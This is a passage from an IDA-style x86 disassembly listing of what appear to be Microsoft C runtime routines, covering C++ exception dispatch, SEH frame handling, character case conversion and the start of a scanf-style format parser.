loc_415035: ; CODE XREF: sub_414FE8+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_41508C cmp edi, [esi] jl short loc_415084 cmp edi, [esi+4] jg short loc_415084 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_41505E cmp byte ptr [ecx+8], 0 jnz short loc_415084 loc_41505E: ; CODE XREF: sub_414FE8+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4151A1 add esp, 2Ch loc_415084: ; CODE XREF: sub_414FE8+57j ; sub_414FE8+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_415035 ; --------------------------------------------------------------------------- loc_41508C: ; CODE XREF: sub_414FE8+2Fj ; sub_414FE8+53j pop edi pop esi leave retn sub_414FE8 endp ; =============== S U B R O U T I N E ======================================= sub_415090 proc near ; CODE XREF: sub_414E41+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_4150E7 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_4150E7 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_4150C1 add ecx, 8 push ecx push edx call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_4150E3 loc_4150C1: ; CODE XREF: sub_415090+1Fj test byte ptr [esi], 2 jz short loc_4150CB test byte ptr [edi], 8 jz short loc_4150E3 loc_4150CB: ; CODE XREF: sub_415090+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_4150DA test byte ptr [edi], 1 jz short loc_4150E3 loc_4150DA: ; CODE XREF: sub_415090+43j test al, 2 jz short loc_4150E7 test byte ptr [edi], 2 jnz short loc_4150E7 loc_4150E3: ; CODE XREF: sub_415090+2Fj ; sub_415090+39j ... xor eax, eax jmp short loc_4150EA ; --------------------------------------------------------------------------- loc_4150E7: ; CODE XREF: sub_415090+Bj ; sub_415090+14j ... push 1 pop eax loc_4150EA: ; CODE XREF: sub_415090+55j pop edi pop esi retn sub_415090 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4150ED proc near ; CODE XREF: sub_414DA6+34p ; sub_4151A1+42p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41C7D8 push offset sub_417B48 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_41511F: ; CODE XREF: sub_4150ED+8Aj cmp esi, [ebp+arg_C] jz short loc_415179 cmp esi, 0FFFFFFFFh jle short loc_41512E cmp esi, [edi+4] jl short loc_415133 loc_41512E: ; CODE XREF: sub_4150ED+3Aj call sub_415642 loc_415133: ; CODE XREF: sub_4150ED+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_41514E push 103h push ebx push eax call sub_4155A0 loc_41514E: ; CODE XREF: sub_4150ED+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_41516E ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_41518B pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_41516E: ; CODE XREF: sub_4150ED+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_41511F ; --------------------------------------------------------------------------- loc_415179: ; CODE XREF: sub_4150ED+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4150ED endp ; =============== S U B R O U T I N E ======================================= sub_41518B proc near ; CODE XREF: sub_4150ED+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_41519C xor eax, eax retn ; --------------------------------------------------------------------------- loc_41519C: ; CODE XREF: sub_41518B+Cj jmp sub_4155EC sub_41518B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151A1 proc near ; CODE XREF: sub_414E41+151p ; sub_414FE8+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_4151C3 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_415352 add esp, 10h loc_4151C3: ; CODE XREF: sub_4151A1+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_4151CF push edi jmp short loc_4151D2 ; --------------------------------------------------------------------------- loc_4151CF: ; CODE XREF: sub_4151A1+29j push [ebp+arg_24] loc_4151D2: ; CODE XREF: sub_4151A1+2Cj call sub_410F0C mov esi, [ebp+arg_1C] push dword ptr [esi] push [ebp+arg_10] push [ebp+arg_C] push edi call sub_4150ED mov eax, [esi+4] push 100h push [ebp+arg_20] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push [ebp+arg_10] push [ebp+arg_8] push edi push [ebp+arg_0] call sub_41521C add esp, 2Ch test eax, eax jz short loc_415217 push edi push eax call sub_410ECA loc_415217: ; CODE XREF: sub_4151A1+6Dj pop edi pop esi pop ebx pop ebp retn sub_4151A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41521C proc near ; CODE XREF: sub_4151A1+63p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41C7E8 push offset sub_417B48 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, ds:dword_45F8B4 mov [ebp+var_1C], ecx mov ecx, ds:dword_45F8B8 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov ds:dword_45F8B4, edi mov ecx, [ebp+arg_8] mov ds:dword_45F8B8, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_410F91 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_4152E2 mov eax, [ebp+var_2C] loc_4152A9: ; CODE XREF: seg000:004152D8j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41521C endp ; =============== S U B R O U T I N E ======================================= sub_4152B8 proc near ; DATA XREF: seg001:0041C7F8o push dword ptr [ebp-14h] call sub_415328 pop ecx retn sub_4152B8 endp ; --------------------------------------------------------------------------- mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_4111F2 pop ecx pop ecx xor eax, eax jmp short loc_4152A9 ; --------------------------------------------------------------------------- loc_4152DA: ; DATA XREF: seg001:0041C7F0o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_4152E2 proc near ; CODE XREF: sub_41521C+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov ds:dword_45F8B4, eax mov eax, [ebp-20h] mov ds:dword_45F8B8, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_415327 cmp dword ptr [edi+10h], 3 jnz short locret_415327 cmp dword ptr [edi+14h], 19930520h jnz short locret_415327 cmp [ebp-24h], ebx jnz short locret_415327 cmp [ebp-2Ch], ebx jz short locret_415327 call sub_41125A push eax push edi call sub_415516 pop ecx pop ecx locret_415327: ; CODE XREF: sub_4152E2+1Cj ; sub_4152E2+22j ... retn sub_4152E2 endp ; =============== S U B R O U T I N E ======================================= sub_415328 proc near ; CODE XREF: sub_4152B8+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_41534F cmp dword ptr [eax+10h], 3 jnz short loc_41534F cmp dword ptr [eax+14h], 19930520h jnz short loc_41534F cmp dword ptr [eax+1Ch], 0 jnz short loc_41534F push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41534F: ; CODE XREF: sub_415328+Cj ; sub_415328+12j ... xor eax, eax retn sub_415328 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415352 proc near ; CODE XREF: sub_4151A1+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41C800 push offset sub_417B48 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_4154FB cmp byte ptr [eax+8], 0 jz loc_4154FB mov eax, [ecx+8] test eax, eax jz loc_4154FB mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_4153EF mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_418980 pop ecx pop ecx test eax, eax jz loc_4154F2 push 1 push edi call sub_41899C pop ecx pop ecx test eax, eax jz loc_4154F2 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_4153E0: ; CODE XREF: sub_415352+F5j push eax call sub_41557D pop ecx pop ecx mov [edi], eax jmp loc_4154F7 ; --------------------------------------------------------------------------- loc_4153EF: ; CODE XREF: sub_415352+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_415449 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_418980 pop ecx pop ecx test eax, eax jz loc_4154F2 push 1 push edi call sub_41899C pop ecx pop ecx test eax, eax jz loc_4154F2 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_4112D0 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_4154F7 mov eax, [edi] test eax, eax jz loc_4154F7 add esi, 8 push esi jmp short loc_4153E0 ; --------------------------------------------------------------------------- loc_415449: ; CODE XREF: sub_415352+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_415491 call sub_418980 pop ecx pop ecx test eax, eax jz loc_4154F2 push 1 push edi call sub_41899C pop ecx pop ecx test eax, eax jz short loc_4154F2 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_41557D pop ecx pop ecx push eax push edi call sub_4112D0 add esp, 0Ch jmp short loc_4154F7 ; --------------------------------------------------------------------------- loc_415491: ; CODE XREF: sub_415352+103j call sub_418980 pop ecx pop ecx test eax, eax jz short loc_4154F2 push 1 push edi call sub_41899C pop ecx pop ecx test eax, eax jz short loc_4154F2 push dword ptr [esi+18h] call sub_4189B8 pop ecx test eax, eax jz short loc_4154F2 test byte ptr [esi], 4 jz short loc_4154D8 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41557D pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_410F05 jmp short loc_4154F7 ; --------------------------------------------------------------------------- loc_4154D8: ; CODE XREF: sub_415352+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41557D pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_410EFE jmp short loc_4154F7 ; --------------------------------------------------------------------------- loc_4154F2: ; CODE XREF: sub_415352+6Aj ; sub_415352+7Cj ... call sub_415642 loc_4154F7: ; CODE XREF: sub_415352+98j ; sub_415352+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_4154FB: ; CODE XREF: sub_415352+2Ej ; sub_415352+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_415352 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_4155EC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415516 proc near ; CODE XREF: sub_414E41+170p ; sub_4152E2+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41C810 push offset sub_417B48 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_41555D mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_41555D and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_410EFE or [ebp+var_4], 0FFFFFFFFh loc_41555D: ; CODE XREF: sub_415516+2Aj ; sub_415516+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_415516 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_4155EC ; =============== S U B R O U T I N E ======================================= sub_41557D proc near ; CODE XREF: sub_415352+8Fp ; sub_415352+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_41559E mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_41559E: ; CODE XREF: sub_41557D+12j pop esi retn sub_41557D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155A0 proc near ; CODE XREF: sub_410F91+40p ; sub_4150ED+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41127D push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_4155DF mov ecx, 2 loc_4155DF: ; CODE XREF: sub_4155A0+38j push ecx call sub_41127D pop ebp pop ecx pop ebx leave retn 0Ch sub_4155A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155EC proc near ; CODE XREF: sub_414E41:loc_414FE3j ; sub_41518B:loc_41519Cj ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004189D0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41C820 push offset sub_417B48 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, ds:dword_45F8C0 test eax, eax jz short loc_415634 mov [ebp+var_4], 1 call eax jmp short loc_415630 ; --------------------------------------------------------------------------- loc_415629: ; DATA XREF: seg001:0041C830o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41562D: ; DATA XREF: seg001:0041C834o mov esp, [ebp+var_18] loc_415630: ; CODE XREF: sub_4155EC+3Bj and [ebp+var_4], 0 loc_415634: ; CODE XREF: sub_4155EC+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41563D: ; DATA XREF: seg001:0041C828o jmp loc_4189D0 sub_4155EC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415642 proc near ; CODE XREF: sub_411133+23p ; sub_411133:loc_41119Ep ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41C838 push offset sub_417B48 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, ds:off_42E4F4 test eax, eax jz short loc_41568A mov [ebp+var_4], 1 call eax ; sub_4155EC jmp short loc_415686 ; --------------------------------------------------------------------------- loc_41567F: ; DATA XREF: seg001:0041C848o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_415683: ; DATA XREF: seg001:0041C84Co mov esp, [ebp+var_18] loc_415686: ; CODE XREF: sub_415642+3Bj and [ebp+var_4], 0 loc_41568A: ; CODE XREF: sub_415642+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_415693: ; DATA XREF: seg001:0041C840o jmp sub_4155EC sub_415642 endp ; =============== S U B R O U T I N E ======================================= sub_415698 proc near ; CODE XREF: sub_411613+7p ; sub_411613+26p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_413550 test eax, eax pop ecx jz short loc_4156B0 mov eax, [esi-4] pop esi sub eax, 9 retn ; --------------------------------------------------------------------------- loc_4156B0: ; CODE XREF: sub_415698+Ej push esi push 0 push ds:dword_460EA0 call ds:dword_41C170 ; RtlSizeHeap pop esi retn sub_415698 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4156C1 proc near ; CODE XREF: sub_4116C1+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp ds:dword_45F8D0, 0 push ebx jnz short loc_4156EC mov eax, [ebp+arg_0] cmp eax, 61h jl loc_41578A cmp eax, 7Ah jg loc_41578A sub eax, 20h jmp loc_41578A ; --------------------------------------------------------------------------- loc_4156EC: ; CODE XREF: sub_4156C1+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_41571F cmp ds:dword_42E39C, 1 jle short loc_41570C push 2 push ebx call sub_413446 pop ecx pop ecx jmp short loc_415717 ; --------------------------------------------------------------------------- loc_41570C: ; CODE XREF: sub_4156C1+3Dj mov eax, ds:off_42E190 mov al, [eax+ebx*2] and eax, 2 loc_415717: ; CODE XREF: sub_4156C1+49j test eax, eax jnz short loc_41571F loc_41571B: ; CODE XREF: sub_4156C1+AFj mov eax, ebx jmp short loc_41578A ; --------------------------------------------------------------------------- loc_41571F: ; CODE XREF: sub_4156C1+34j ; sub_4156C1+58j mov edx, ds:off_42E190 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_415742 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_41574B ; --------------------------------------------------------------------------- loc_415742: ; CODE XREF: sub_4156C1+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_41574B: ; CODE XREF: sub_4156C1+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push ds:dword_45F8D0 call loc_416B94 add esp, 20h test eax, eax jz short loc_41571B cmp eax, 1 jnz short loc_41577D movzx eax, [ebp+var_4] jmp short loc_41578A ; --------------------------------------------------------------------------- loc_41577D: ; CODE XREF: sub_4156C1+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41578A: ; CODE XREF: sub_4156C1+14j ; sub_4156C1+1Dj ... pop ebx leave retn sub_4156C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41578D proc near ; CODE XREF: sub_4118E0+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_416193 mov edi, [ebp+arg_0] jmp short loc_4157BC ; --------------------------------------------------------------------------- loc_4157B7: ; CODE XREF: sub_41578D+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_4157BC: ; CODE XREF: sub_41578D+28j cmp ds:dword_42E39C, 1 jle short loc_4157D4 movzx eax, al push 8 push eax call sub_413446 pop ecx pop ecx jmp short loc_4157E3 ; --------------------------------------------------------------------------- loc_4157D4: ; CODE XREF: sub_41578D+36j mov ecx, ds:off_42E190 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_4157E3: ; CODE XREF: sub_41578D+45j cmp eax, ebx jz short loc_41581D dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_41621A pop ecx pop ecx push eax call sub_416203 movzx eax, byte ptr [esi+1] inc esi push eax call sub_418AAF add esp, 0Ch loc_41580B: ; CODE XREF: sub_41578D+8Ej test eax, eax jz short loc_41581D movzx eax, byte ptr [esi+1] inc esi push eax call sub_418AAF pop ecx jmp short loc_41580B ; --------------------------------------------------------------------------- loc_41581D: ; CODE XREF: sub_41578D+58j ; sub_41578D+80j cmp byte ptr [esi], 25h jnz loc_4160FF and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_415854: ; CODE XREF: sub_41578D+172j movzx ebx, byte ptr [esi+1] inc esi cmp ds:dword_42E39C, 1 jle short loc_415871 movzx eax, bl push 4 push eax call sub_413446 pop ecx pop ecx jmp short loc_415880 ; --------------------------------------------------------------------------- loc_415871: ; CODE XREF: sub_41578D+D3j mov ecx, ds:off_42E190 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_415880: ; CODE XREF: sub_41578D+E2j test eax, eax jz short loc_415896 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_4158FB ; --------------------------------------------------------------------------- loc_415896: ; CODE XREF: sub_41578D+F5j cmp ebx, 4Eh jg short loc_4158D9 jz short loc_4158FB cmp ebx, 2Ah jz short loc_4158D4 cmp ebx, 46h jz short loc_4158FB cmp ebx, 49h jz short loc_4158B6 cmp ebx, 4Ch jnz short loc_4158E8 inc [ebp+var_D] jmp short loc_4158FB ; --------------------------------------------------------------------------- loc_4158B6: ; CODE XREF: sub_41578D+11Dj cmp byte ptr [esi+1], 36h jnz short loc_4158E8 cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_4158E8 inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_4158FB ; --------------------------------------------------------------------------- loc_4158D4: ; CODE XREF: sub_41578D+113j inc [ebp+var_E] jmp short loc_4158FB ; --------------------------------------------------------------------------- loc_4158D9: ; CODE XREF: sub_41578D+10Cj cmp ebx, 68h jz short loc_4158F5 cmp ebx, 6Ch jz short loc_4158ED cmp ebx, 77h jz short loc_4158F0 loc_4158E8: ; CODE XREF: sub_41578D+122j ; sub_41578D+12Dj ... inc [ebp+var_F] jmp short loc_4158FB ; --------------------------------------------------------------------------- loc_4158ED: ; CODE XREF: sub_41578D+154j inc [ebp+var_D] loc_4158F0: ; CODE XREF: sub_41578D+159j inc [ebp+var_5] jmp short loc_4158FB ; --------------------------------------------------------------------------- loc_4158F5: ; CODE XREF: sub_41578D+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_4158FB: ; CODE XREF: sub_41578D+107j ; sub_41578D+10Ej ... cmp [ebp+var_F], 0 jz loc_415854 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_415920 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_415920: ; CODE XREF: sub_41578D+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_41593E mov al, [esi] cmp al, 53h jz short loc_41593A cmp al, 43h jz short loc_41593A or [ebp+var_5], 0FFh jmp short loc_41593E ; --------------------------------------------------------------------------- loc_41593A: ; CODE XREF: sub_41578D+1A1j ; sub_41578D+1A5j mov [ebp+var_5], 1 loc_41593E: ; CODE XREF: sub_41578D+19Bj ; sub_41578D+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_415977 cmp esi, 63h jz short loc_415968 cmp esi, 7Bh jz short loc_415968 push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_41621A pop ecx jmp short loc_415973 ; --------------------------------------------------------------------------- loc_415968: ; CODE XREF: sub_41578D+1C5j ; sub_41578D+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_4161E9 loc_415973: ; CODE XREF: sub_41578D+1D9j pop ecx mov [ebp+var_14], eax loc_415977: ; CODE XREF: sub_41578D+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_415987 cmp [ebp+var_C], eax jz loc_416163 loc_415987: ; CODE XREF: sub_41578D+1EFj cmp esi, 6Fh jg loc_415BEE jz loc_415EA0 cmp esi, 63h jz loc_415BCB cmp esi, 64h jz loc_415EA0 jle loc_415C18 cmp esi, 67h jle short loc_4159EB cmp esi, 69h jz short loc_4159D3 cmp esi, 6Eh jnz loc_415C18 cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_4160CE jmp loc_4160F4 ; --------------------------------------------------------------------------- loc_4159D3: ; CODE XREF: sub_41578D+229j push 64h pop esi loc_4159D6: ; CODE XREF: sub_41578D+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_415C60 mov [ebp+var_17], 1 jmp loc_415C65 ; --------------------------------------------------------------------------- loc_4159EB: ; CODE XREF: sub_41578D+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_415A07 mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_415A0C ; --------------------------------------------------------------------------- loc_415A07: ; CODE XREF: sub_41578D+26Aj cmp ebx, 2Bh jnz short loc_415A23 loc_415A0C: ; CODE XREF: sub_41578D+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_4161E9 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_415A26 ; --------------------------------------------------------------------------- loc_415A23: ; CODE XREF: sub_41578D+27Dj mov edi, [ebp+arg_0] loc_415A26: ; CODE XREF: sub_41578D+294j cmp [ebp+var_20], 0 jz short loc_415A35 cmp [ebp+var_C], 15Dh jle short loc_415A3C loc_415A35: ; CODE XREF: sub_41578D+29Dj mov [ebp+var_C], 15Dh loc_415A3C: ; CODE XREF: sub_41578D+2A6j ; sub_41578D+2F2j cmp ds:dword_42E39C, 1 jle short loc_415A51 push 4 push ebx call sub_413446 pop ecx pop ecx jmp short loc_415A5C ; --------------------------------------------------------------------------- loc_415A51: ; CODE XREF: sub_41578D+2B6j mov eax, ds:off_42E190 mov al, [eax+ebx*2] and eax, 4 loc_415A5C: ; CODE XREF: sub_41578D+2C2j test eax, eax jz short loc_415A81 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_415A81 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_4161E9 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_415A3C ; --------------------------------------------------------------------------- loc_415A81: ; CODE XREF: sub_41578D+2D1j ; sub_41578D+2DBj cmp ds:byte_42E3A0, bl jnz short loc_415AEF mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_415AEF inc [ebp+var_4] push edi call sub_4161E9 mov ebx, eax mov al, ds:byte_42E3A0 mov [esi], al pop 